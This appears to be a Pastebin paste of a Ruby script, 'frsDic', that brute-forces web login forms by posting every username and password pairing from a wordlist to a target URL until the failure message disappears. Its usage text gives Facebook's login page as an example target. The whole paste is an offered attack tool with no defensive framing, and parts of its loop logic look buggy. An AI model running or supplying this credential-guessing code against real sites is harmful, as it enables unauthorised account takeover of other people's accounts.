Advertisement
Guest User

Untitled

a guest
Apr 11th, 2019
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.08 KB | None | 0 0
  1. require 'net/http'
  2.  
  3. def checkValidHTTP(url)
  4. if !url.include?"http://" and !url.include?"https://"
  5. print("Not a valid url for a post request. Its missing 'http://' or 'https://'\nPlease encase it akin to this: http://www.google.com or https://www.google.com\n")
  6. return false
  7. end
  8. return true
  9. end
  10.  
  11. def getNumberOfCombinations(file)
  12.  
  13. count = 0
  14.  
  15. filename = File.open(file, "r")
  16.  
  17. filename.each_line do |line|
  18. count += 1
  19. end
  20.  
  21. return count * count
  22.  
  23.  
  24. end
  25.  
  26.  
  27. def checkFileExistance(filename)
  28. if File.exist?filename
  29. return true
  30. end
  31. puts("Your file must exist!")
  32. return false
  33. end
  34.  
  35. def checkUsage(post_request)
  36.  
  37. if ARGV.length != 3 or !post_request.include?":"
  38. print("Usage: ruby frsDic <wordlist> <url> <postrequest>\nExample: ruby frsDic words.txt www.facebook.com/login.php <'postparameter&postparemeter:Case of failure message'>")
  39. return false
  40. end
  41.  
  42. return true
  43.  
  44. end
  45.  
  46. def crackRemotePassword()
  47.  
  48. postrequest = ARGV[2]
  49. filename = ARGV[0]
  50.  
  51. if !checkUsage(postrequest)
  52. return false
  53. end
  54.  
  55. if !checkFileExistance(filename)
  56. return false
  57. end
  58.  
  59. if(!checkValidHTTP(ARGV[1]))
  60. return false
  61. end
  62.  
  63. postArray = Array.new
  64. uri = URI.parse(ARGV[1])
  65. file = IO.readlines(filename)
  66. delimiters = ["&", ":"]
  67. currentComb = 1
  68.  
  69. postArray = postrequest.split(Regexp.union(delimiters))
  70.  
  71. x = 0
  72. y = 0
  73.  
  74. numberOfCombinations = getNumberOfCombinations(filename)
  75. puts("Cracking with: " + numberOfCombinations.to_s + " possible combinations")
  76.  
  77. postThread = Thread.new do
  78.  
  79. loop do
  80.  
  81. username = file[x].delete("\n")
  82. password = file[y].delete("\n")
  83.  
  84. if postArray.length == 4
  85.  
  86. begin
  87. response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => password, postArray[2] => "submit"})
  88. if response.body.include?postArray[3]
  89. print("[*]ATTEMPT number: " + currentComb.to_s + " out of: " + numberOfCombinations.to_s + " || " + username + " " + password + " FAILED\n")
  90. else
  91. print("[*]ATTEMPT number: " + currentComb.to_s + "out of: " + numberOfCombinations.to_s + " || " + username + " " + password + " SUCCEEDED!")
  92. break
  93. end
  94.  
  95. y += 1
  96. currentComb += 1
  97.  
  98. if file[y] == file[file.length]
  99. y = 0
  100. x += 1
  101. end
  102. if file[x] == file[file.length]
  103. print("Coulnd't crack account...\n")
  104. break
  105. end
  106. rescue
  107. unless response.kind_of?Net::HTTPSuccess do
  108. puts("Lost connection to: " + ARGV[1].to_s + " Re-establishing connection...\n")
  109. response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => password, postArray[2] => "submit"})
  110. end
  111. end
  112. end
  113. end
  114. end
  115. end
  116. postThread.join
  117. end
  118.  
  119.  
  120.  
  121. crackRemotePassword()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement